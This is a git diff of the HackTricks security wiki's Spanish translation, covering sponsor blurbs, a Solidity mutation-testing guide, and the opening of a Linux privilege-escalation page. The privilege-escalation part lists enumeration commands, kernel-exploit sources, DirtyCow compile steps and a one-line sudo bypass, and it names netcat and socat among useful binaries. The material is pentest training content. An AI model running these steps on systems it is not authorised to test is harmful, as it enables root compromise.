diff --git a/src/README.md b/src/README.md
index ca561d1ce..32b07ff3c 100644
--- a/src/README.md
+++ b/src/README.md
@@ -31,15 +31,15 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
-Tu copia local de HackTricks estará **disponible en [http://localhost:3337](http://localhost:3337)** después de <5 minutos (necesita compilar el libro, ten paciencia).
+Tu copia local de HackTricks estará disponible en **[http://localhost:3337](http://localhost:3337)** después de <5 minutos (necesita construir el libro, ten paciencia).
-## Patrocinadores Corporativos
+## Corporate Sponsors
### [STM Cyber](https://www.stmcyber.com)
.png)
-[**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo eslogan es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios valiosos de ciberseguridad** como pentesting, Red teams y formación.
+[**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo eslogan es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios de ciberseguridad valiosos** como pentesting, Red teams y formación.
Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
@@ -51,7 +51,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
.png)
-[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro ferviente para profesionales de la tecnología y la ciberseguridad de todas las disciplinas.
+[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **Spain** y uno de los más importantes en **Europe**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro candente para profesionales de la tecnología y la ciberseguridad de todas las disciplinas.
{{#ref}}
https://www.rootedcon.com/
@@ -63,9 +63,9 @@ https://www.rootedcon.com/
.png)
-**Intigriti** es la plataforma #1 de Europa de ethical hacking y bug bounty.
+**Intigriti** es la **Europe's #1** plataforma de ethical hacking y **bug bounty.**
-**Consejo de bug bounty**: **regístrate** en **Intigriti**, ¡una plataforma premium de bug bounty creada por hackers, para hackers! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y empieza a ganar bounties de hasta **$100,000**!
+**Consejo de bug bounty**: **regístrate** en **Intigriti**, ¡una plataforma premium de bug bounty creada por hackers, para hackers! Únete hoy a [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) y comienza a ganar recompensas de hasta **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
.png)
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para crear y **automatizar workflows** fácilmente impulsados por las herramientas comunitarias más **avanzadas** del mundo.
+Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para crear fácilmente y **automatizar flujos de trabajo** impulsados por las **herramientas comunitarias más avanzadas** del mundo.
Obtén acceso hoy:
@@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
.png)
-Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y bug bounty hunters!
+Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bug bounty!
-- **Hacking Insights:** Participa en contenido que profundiza en la emoción y los desafíos del hacking
-- **Real-Time Hack News:** Mantente al día con el vertiginoso mundo del hacking mediante noticias e insights en tiempo real
-- **Latest Announcements:** Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones importantes de la plataforma
+- **Hacking Insights:** Participa en contenido que profundiza en la emoción y los retos del hacking
+- **Real-Time Hack News:** Mantente al día con el vertiginoso mundo del hacking mediante noticias e información en tiempo real
+- **Latest Announcements:** Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones cruciales de plataformas
-**¡Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!**
+**¡Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **y comienza a colaborar con los mejores hackers hoy!**
---
@@ -106,9 +106,9 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-**Obtén la perspectiva de un hacker sobre tus web apps, network y cloud**
+**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y cloud**
-**Encuentra y reporta vulnerabilidades críticas y explotables con impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, transformando tu trabajo en reportes persuasivos.
+**Encuentra y reporta vulnerabilidades explotables críticas con impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu trabajo en informes persuasivos.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
.png)
-**SerpApi** ofrece APIs en tiempo real rápidas y fáciles para **acceder a resultados de motores de búsqueda**. Rastrean search engines, gestionan proxies, resuelven captchas y parsean todos los datos estructurados ricos por ti.
+**SerpApi** ofrece APIs en tiempo real rápidas y sencillas para **acceder a resultados de motores de búsqueda**. Rastrean search engines, gestionan proxies, resuelven captchas y parsean todos los datos estructurados ricos por ti.
-Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para scraping de distintos search engines, incluyendo Google, Bing, Baidu, Yahoo, Yandex y más.\
-A diferencia de otros proveedores, **SerpApi no solo raspa resultados orgánicos**. Las respuestas de SerpApi incluyen de forma consistente todos los anuncios, imágenes y vídeos inline, knowledge graphs y otros elementos y funcionalidades presentes en los resultados de búsqueda.
+Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para scrapear distintos motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex y más.\
+A diferencia de otros proveedores, **SerpApi no solo scrapea resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y vídeos en línea, knowledge graphs y otros elementos y funcionalidades presentes en los resultados de búsqueda.
-Entre los clientes actuales de SerpApi se encuentran **Apple, Shopify y GrubHub**.\
+Clientes actuales de SerpApi incluyen a **Apple, Shopify y GrubHub**.\
Para más información consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\
-Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign_up)**.**
+Puedes **crear una cuenta gratuita** [**here**](https://serpapi.com/users/sign_up)**.**
---
@@ -135,7 +135,7 @@ Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign_
.png)
-Aprende las tecnologías y habilidades necesarias para realizar vulnerability research, penetration testing y reverse engineering para proteger aplicaciones y dispositivos móviles. **Domina iOS y Android security** a través de nuestros cursos on-demand y **obtén certificación**:
+Aprende las tecnologías y habilidades necesarias para realizar investigación de vulnerabilidades, penetration testing y reverse engineering para proteger aplicaciones y dispositivos móviles. **Domina iOS and Android security** a través de nuestros cursos on-demand y **obtén certificación**:
{{#ref}}
https://academy.8ksec.io/
@@ -149,11 +149,11 @@ https://academy.8ksec.io/
[**WebSec**](https://websec.net) es una empresa profesional de ciberseguridad con sede en **Amsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad proporcionando **servicios de offensive-security** con un enfoque **moderno**.
-WebSec es una empresa internacional de seguridad con oficinas en Amsterdam y Wyoming. Ofrecen **servicios de seguridad todo-en-uno**, lo que significa que lo hacen todo: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campaigns, Code Review, Exploit Development, Security Experts Outsourcing y mucho más.
+WebSec es una compañía de seguridad internacional con oficinas en Amsterdam y Wyoming. Ofrecen **servicios de seguridad todo en uno**, lo que significa que lo hacen todo: Pentesting, **Security** Audits, Awareness Trainings, campañas de Phishing, Code Review, Exploit Development, Security Experts Outsourcing y mucho más.
-Otra cosa interesante sobre WebSec es que, a diferencia del promedio industrial, WebSec está **muy confiada en sus habilidades**, hasta el punto de que **garantizan los mejores resultados**, en su web indican "**If we can't hack it, You don't pay it!**". Para más info visita su [**website**](https://websec.net/en/) y su [**blog**](https://websec.net/blog/)!
+Otra cosa interesante sobre WebSec es que, a diferencia de la media de la industria, WebSec es **muy confiada en sus habilidades**, hasta tal punto que **garantizan los mejores resultados**, como indican en su web "**If we can't hack it, You don't pay it!**". Para más info echa un vistazo a su [**website**](https://websec.net/en/) y [**blog**](https://websec.net/blog/)!
-Además, WebSec también es un **firme patrocinador de HackTricks.**
+Además de lo anterior, WebSec también es un **apoyador comprometido de HackTricks.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -166,9 +166,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) es un motor de búsqueda de data breach (leak). \
-Ofrecemos búsqueda de cadenas aleatorias (como google) sobre todo tipo de data leaks grandes y pequeños --no solo los grandes-- sobre datos de múltiples fuentes. \
-Búsqueda de personas, búsqueda por AI, búsqueda por organización, acceso por API (OpenAPI), integración con theHarvester, todas las funcionalidades que un pentester necesita.\
-**¡HackTricks sigue siendo una gran plataforma de aprendizaje para todos nosotros y estamos orgullosos de patrocinarlos!**
+Ofrecemos búsqueda por cadenas aleatorias (como google) sobre todo tipo de data leaks grandes y pequeños --no solo los grandes-- sobre datos de múltiples fuentes. \
+Búsqueda por personas, búsqueda por IA, búsqueda por organización, acceso API (OpenAPI), integración con theHarvester, todas las funcionalidades que un pentester necesita.\
+**¡HackTricks sigue siendo una gran plataforma de aprendizaje para todos y estamos orgullosos de patrocinarla!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
**Built for the field. Built around you.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desarrolla y ofrece formación eficaz en ciberseguridad construida e impartida por expertos de la industria. Sus programas van más allá de la teoría para dotar a los equipos de un entendimiento profundo y habilidades accionables, usando entornos personalizados que reflejan amenazas del mundo real. Para consultas sobre formación a medida, contáctanos [**aquí**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desarrolla e imparte formación efectiva en ciberseguridad creada y liderada por expertos de la industria. Sus programas van más allá de la teoría para dotar a los equipos de una comprensión profunda y habilidades accionables, usando entornos personalizados que reflejan amenazas del mundo real. Para consultas de formación a medida, contáctanos [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Qué distingue su formación:**
-* Contenido y labs personalizados
-* Respaldado por herramientas y plataformas de primer nivel
-* Diseñado e impartido por practitioners
+* Contenido y laboratorios personalizados
+* Respaldados por herramientas y plataformas de primer nivel
+* Diseñados e impartidos por practicantes
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@@ -199,11 +199,11 @@ https://cyberhelmets.com/courses/?ref=hacktricks
-Last Tower Solutions ofrece servicios especializados de ciberseguridad para instituciones de **Education** y **FinTech**, con un enfoque en **penetration testing, cloud security assessments** y **compliance readiness** (SOC 2, PCI-DSS, NIST). Nuestro equipo incluye profesionales certificados **OSCP y CISSP**, aportando profunda experiencia técnica y perspectiva conforme a los estándares de la industria en cada compromiso.
+Last Tower Solutions ofrece servicios especializados de ciberseguridad para instituciones de **Education** y **FinTech**, con un enfoque en **penetration testing, cloud security assessments**, y **compliance readiness** (SOC 2, PCI-DSS, NIST). Nuestro equipo incluye profesionales certificados **OSCP and CISSP**, aportando profunda experiencia técnica y perspectiva basada en estándares de la industria en cada compromiso.
-Vamos más allá de los escaneos automatizados con **testing manual e impulsado por inteligencia** adaptado a entornos de alto riesgo. Desde asegurar registros estudiantiles hasta proteger transacciones financieras, ayudamos a las organizaciones a defender lo que más importa.
+Vamos más allá de los escaneos automatizados con **pruebas manuales e intelligence-driven** adaptadas a entornos de alto riesgo. Desde asegurar registros de estudiantes hasta proteger transacciones financieras, ayudamos a las organizaciones a defender lo que más importa.
-_“Una defensa de calidad requiere conocer la ofensiva, brindamos seguridad a través del entendimiento.”_
+_“A quality defense requires knowing the offense, we provide security through understanding.”_
Mantente informado y al día con lo último en ciberseguridad visitando nuestro [**blog**](https://www.lasttowersolutions.com/blog).
@@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
-
+
-K8Studio IDE empodera a DevOps, DevSecOps y desarrolladores para gestionar, monitorizar y asegurar clusters de Kubernetes de forma eficiente. Aprovecha nuestros insights impulsados por IA, framework de seguridad avanzado y la intuitiva GUI CloudMaps para visualizar tus clusters, entender su estado y actuar con confianza.
+K8Studio IDE capacita a DevOps, DevSecOps y desarrolladores para gestionar, monitorizar y asegurar clústeres de Kubernetes de manera eficiente. Aprovecha nuestras insights impulsadas por IA, framework de seguridad avanzado y la intuitiva GUI CloudMaps para visualizar tus clústeres, entender su estado y actuar con confianza.
-Además, K8Studio es **compatible con todas las principales distribuciones de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift y más).
+Además, K8Studio es **compatible con todas las principales distribuciones de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
{{#ref}}
https://k8studio.io/
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 6d276923d..561fe52fb 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
-- [Cookies Policy](todo/cookies-policy.md)
\ No newline at end of file
+- [Cookies Policy](todo/cookies-policy.md)
diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
index febdce748..495fb5fed 100644
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@@ -1,14 +1,14 @@
-# Mutation Testing para Solidity con Slither (slither-mutate)
+# Mutation Testing for Solidity with Slither (slither-mutate)
{{#include ../../banners/hacktricks-training.md}}
-Mutation testing "tests your tests" al introducir sistemáticamente pequeños cambios (mutants) en tu código Solidity y volver a ejecutar tu suite de pruebas. Si una prueba falla, el mutant es eliminado. Si las pruebas siguen pasando, el mutant sobrevive, revelando un punto ciego en tu suite de pruebas que la cobertura de líneas/ramas no puede detectar.
+Mutation testing "prueba tus pruebas" introduciendo sistemáticamente pequeños cambios (mutantes) en tu código Solidity y volviendo a ejecutar tu suite de pruebas. Si una prueba falla, el mutante es eliminado. Si las pruebas siguen pasando, el mutante sobrevive, revelando un punto ciego en tu suite de pruebas que la cobertura de líneas/ramas no puede detectar.
-Idea clave: La cobertura muestra que el código se ejecutó; mutation testing muestra si el comportamiento está realmente verificado.
+Idea clave: La cobertura muestra que el código fue ejecutado; mutation testing muestra si el comportamiento realmente está verificado.
## Por qué la cobertura puede engañar
-Considera esta sencilla comprobación de umbral:
+Considera esta simple comprobación de umbral:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@@ -18,39 +18,39 @@ return false;
}
}
```
-Las pruebas unitarias que solo comprueban un valor por debajo y otro por encima del umbral pueden alcanzar el 100% de cobertura de líneas/ramas mientras no afirman la igualdad límite (==). Un refactor a `deposit >= 2 ether` seguiría pasando esas pruebas, rompiendo silenciosamente la lógica del protocolo.
+Las pruebas unitarias que solo comprueban un valor por debajo y otro por encima del umbral pueden alcanzar el 100% de cobertura de líneas/ramas mientras no verifican la condición de igualdad (==). Un refactor a `deposit >= 2 ether` seguiría pasando esas pruebas, rompiendo silenciosamente la lógica del protocolo.
-Las pruebas de mutación exponen esta brecha al mutar la condición y verificar que tus tests fallen.
+Mutation testing expone esta brecha mutando la condición y verificando que tus pruebas fallen.
-## Operadores de mutación comunes en Solidity
+## Operadores mutation comunes de Solidity
-El motor de mutación de Slither aplica muchos pequeños cambios que alteran la semántica, como:
+La mutation engine de Slither aplica muchos pequeños cambios que alteran la semántica, tales como:
- Reemplazo de operadores: `+` ↔ `-`, `*` ↔ `/`, etc.
-- Reemplazo de asignación: `+=` → `=`, `-=` → `=`
-- Reemplazo de constantes: valor distinto de cero → `0`, `true` ↔ `false`
+- Reemplazo de asignaciones: `+=` → `=`, `-=` → `=`
+- Reemplazo de constantes: distinto de cero → `0`, `true` ↔ `false`
- Negación/reemplazo de condiciones dentro de `if`/bucles
- Comentar líneas completas (CR: Comment Replacement)
- Reemplazar una línea por `revert()`
-- Intercambio de tipos de datos: p. ej., `int128` → `int64`
+- Intercambio de tipos de dato: p. ej., `int128` → `int64`
-Objetivo: eliminar el 100% de los mutantes generados, o justificar los supervivientes con un razonamiento claro.
+Objetivo: eliminar al 100% de los mutantes generados, o justificar los sobrevivientes con razonamiento claro.
-## Ejecutar pruebas de mutación con slither-mutate
+## Ejecutando mutation testing con slither-mutate
Requisitos: Slither v0.10.2+.
-- Listar opciones y mutadores:
+- Listar opciones y mutators:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
-- ejemplo de Foundry (capturar resultados y mantener un registro completo):
+- Foundry example (capturar los resultados y mantener un registro completo):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Si no usas Foundry, reemplaza `--test-cmd` por la forma en que ejecutas las pruebas (p. ej., `npx hardhat test`, `npm test`).
-Los artefactos e informes se almacenan en `./mutation_campaign` por defecto. Los mutantes no detectados (sobrevivientes) se copian allí para su inspección.
+Los artefactos y los informes se almacenan en `./mutation_campaign` por defecto. Los mutantes no capturados (sobrevivientes) se copian allí para su inspección.
### Entendiendo la salida
@@ -59,55 +59,55 @@ Las líneas del informe se ven así:
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
-- La etiqueta entre corchetes es el mutator alias (p. ej., `CR` = Comment Replacement).
-- `UNCAUGHT` significa que las pruebas pasaron bajo el comportamiento mutado → falta una aserción.
+- La etiqueta entre corchetes es el alias del mutator (por ejemplo, `CR` = Comment Replacement).
+- `UNCAUGHT` significa que las pruebas pasaron bajo el comportamiento mutado → aserción faltante.
-## Reducir el tiempo de ejecución: priorizar mutantes con impacto
+## Reducir tiempo de ejecución: priorizar mutantes con impacto
-Las campañas de mutación pueden durar horas o días. Consejos para reducir el coste:
-- Alcance: comienza solo con contratos/directorios críticos, luego expande.
-- Prioriza mutadores: si un mutante de alta prioridad en una línea sobrevive (p. ej., línea entera comentada), puedes omitir variantes de menor prioridad para esa línea.
-- Paraleliza las pruebas si tu runner lo permite; almacena en caché dependencias/compilaciones.
-- Fail-fast: detente pronto cuando un cambio demuestre claramente una brecha en las aserciones.
+Las campañas de mutación pueden durar horas o días. Consejos para reducir coste:
+- Scope: empieza con contratos/directorios críticos únicamente, luego expande.
+- Priorizar mutators: si un mutante de alta prioridad en una línea sobrevive (p. ej., la línea completa comentada), puedes omitir variantes de menor prioridad para esa línea.
+- Paraleliza tests si tu runner lo permite; cachea dependencias/builds.
+- Fail-fast: detente temprano cuando un cambio demuestre claramente una brecha de aserción.
## Flujo de triage para mutantes supervivientes
1) Inspecciona la línea mutada y el comportamiento.
- Reproduce localmente aplicando la línea mutada y ejecutando una prueba focalizada.
-2) Fortalece las pruebas para afirmar el estado, no solo los valores de retorno.
-- Añade comprobaciones de igualdad y límites (p. ej., test threshold `==`).
-- Asegura post-condiciones: balances, suministro total, efectos de autorización y eventos emitidos.
+2) Fortalece las pruebas para asertar estado, no solo valores de retorno.
+- Añade comprobaciones de igualdad-límite (p. ej., test threshold `==`).
+- Aserta post-condiciones: balances, total supply, efectos de autorización y eventos emitidos.
3) Sustituye mocks demasiado permisivos por comportamiento realista.
-- Asegúrate de que los mocks hagan cumplir transferencias, rutas de fallo y emisiones de eventos que ocurren on-chain.
+- Asegura que los mocks hagan cumplir transfers, caminos de fallo y emisiones de eventos que ocurren on-chain.
4) Añade invariantes para fuzz tests.
-- Ej.: conservación del valor, balances no negativos, invariantes de autorización, suministro monótono cuando sea aplicable.
+- P. ej., conservación del valor, balances no negativos, invariantes de autorización, suministro monótono cuando corresponda.
-5) Vuelve a ejecutar slither-mutate hasta que los supervivientes sean eliminados o estén justificados explícitamente.
+5) Re-run slither-mutate hasta que los supervivientes sean eliminados o justificados explícitamente.
-## Caso de estudio: revelando aserciones de estado faltantes (Arkis protocol)
+## Estudio de caso: revelar aserciones de estado faltantes (protocolo Arkis)
-Una campaña de mutación durante una auditoría del Arkis DeFi protocol mostró supervivientes como:
+Una campaña de mutación durante una auditoría del protocolo Arkis DeFi sacó a la luz supervivientes como:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
-Comentar la asignación no rompió los tests, lo que demuestra que faltan aserciones del estado posterior. Causa raíz: el código confiaba en un `_cmd.value` controlado por el usuario en lugar de validar las transferencias reales de tokens. Un atacante podría desincronizar las transferencias esperadas frente a las reales para vaciar fondos. Resultado: riesgo de alta severidad para la solvencia del protocolo.
+Comentar la asignación no rompió las pruebas, lo que demuestra la falta de aserciones sobre el estado posterior. Causa raíz: el código confió en un `_cmd.value` controlado por el usuario en lugar de validar transferencias reales de tokens. Un atacante podría desincronizar las transferencias esperadas frente a las reales para vaciar fondos. Resultado: riesgo de alta severidad para la solvencia del protocolo.
-Guía: Trata los mutantes sobrevivientes que afectan transferencias de valor, contabilidad o control de acceso como de alto riesgo hasta que sean eliminados.
+Orientación: Trate a los mutantes supervivientes que afectan transferencias de valor, contabilidad o control de acceso como de alto riesgo hasta que sean eliminados.
-## Lista de comprobación práctica
+## Lista de verificación práctica
-- Ejecuta una campaña dirigida:
+- Ejecute una campaña dirigida:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
-- Clasifica los mutantes sobrevivientes y escribe tests/invariantes que fallen con el comportamiento mutado.
-- Comprueba saldos, suministro, autorizaciones y eventos.
-- Añade tests límite (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
-- Sustituye mocks poco realistas; simula modos de fallo.
-- Itera hasta que todos los mutantes sean eliminados o justificados con comentarios y razonamiento.
+- Clasifique los mutantes supervivientes y escriba pruebas/invariantes que fallen bajo el comportamiento mutado.
+- Aserte saldos, suministro, autorizaciones y eventos.
+- Agregue pruebas límite (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Reemplace mocks poco realistas; simule modos de fallo.
+- Itere hasta que todos los mutantes sean eliminados o justificados con comentarios y fundamento.
-## References
+## Referencias
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 20a840992..cd2a66dd4 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -4,48 +4,48 @@
## Información del sistema
-### Información del OS
+### Información del SO
-Empecemos a recopilar información sobre el OS en ejecución.
+Comencemos a recopilar información sobre el sistema operativo en ejecución
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
```
-### Ruta
+### Path
-Si **tienes permisos de escritura en alguna carpeta incluida en la variable `PATH`**, es posible que puedas secuestrar algunas librerías o binarios:
+Si **tienes permisos de escritura en cualquier carpeta dentro de la variable `PATH`**, podrías ser capaz de hijackear algunas librerías o binarios:
```bash
echo $PATH
```
### Información del entorno
-¿Información interesante, contraseñas o claves API en las variables de entorno?
+¿Información interesante, contraseñas o API keys en las variables de entorno?
```bash
(env || set) 2>/dev/null
```
### Kernel exploits
-Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios
+Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalate privileges
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
-Puedes encontrar una buena lista de kernels vulnerables y algunos ya **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
-Otros sitios donde puedes encontrar algunos **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
+Puedes encontrar una buena lista de kernels vulnerables y algunos ya **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits] and [exploitdb sploits].\
+Otros sitios donde puedes encontrar algunos **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries], [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack]
-Para extraer todas las versiones vulnerables del kernel de esa web puedes hacer:
+Para extraer todas las versiones de kernel vulnerables de ese sitio web puedes hacer:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
-Herramientas que pueden ayudar a buscar kernel exploits:
+Herramientas que pueden ayudar a buscar kernel exploits son:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
-[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN victim, solo comprueba exploits para kernel 2.x)
+[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar en la víctima, solo comprueba exploits para kernel 2.x)
-Siempre **busca la versión del kernel en Google**, tal vez la versión de tu kernel esté escrita en algún kernel exploit y así estarás seguro de que ese exploit es válido.
+Siempre **busca la versión del kernel en Google**, quizá la versión de tu kernel aparezca en algún kernel exploit y así estarás seguro de que ese exploit es válido.
### CVE-2016-5195 (DirtyCow)
@@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
-### Sudo version
+### Sudo versión
-Basado en las versiones de sudo vulnerables que aparecen en:
+Basado en las versiones vulnerables de sudo que aparecen en:
```bash
searchsploit sudo
```
@@ -73,9 +73,9 @@ De @sickrov
```
sudo -u#-1 /bin/bash
```
-### Dmesg signature verification failed
+### Dmesg verificación de firma fallida
-Consulta **smasher2 box of HTB** para un **ejemplo** de cómo se podría explotar esta vuln
+Consulta **smasher2 box of HTB** para un **ejemplo** de cómo podría explotarse esta vuln
```bash
dmesg 2>/dev/null | grep "signature"
```
@@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
```
## Docker Breakout
-Si estás dentro de un docker container, puedes intentar escapar de él:
+Si estás dentro de un contenedor docker puedes intentar escapar de él:
{{#ref}}
@@ -132,7 +132,7 @@ docker-security/
## Unidades
-Comprueba **qué está montado y desmontado**, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y comprobar si contiene información privada.
+Comprueba **qué está montado y qué no**, dónde y por qué. Si algo no está montado, podrías intentar montarlo y revisar si contiene información privada
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@@ -145,56 +145,56 @@ Enumerar binarios útiles
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
-Además, comprueba si **algún compilador está instalado**. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar).
+Además, comprueba si **hay algún compilador instalado**. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar)
```bash
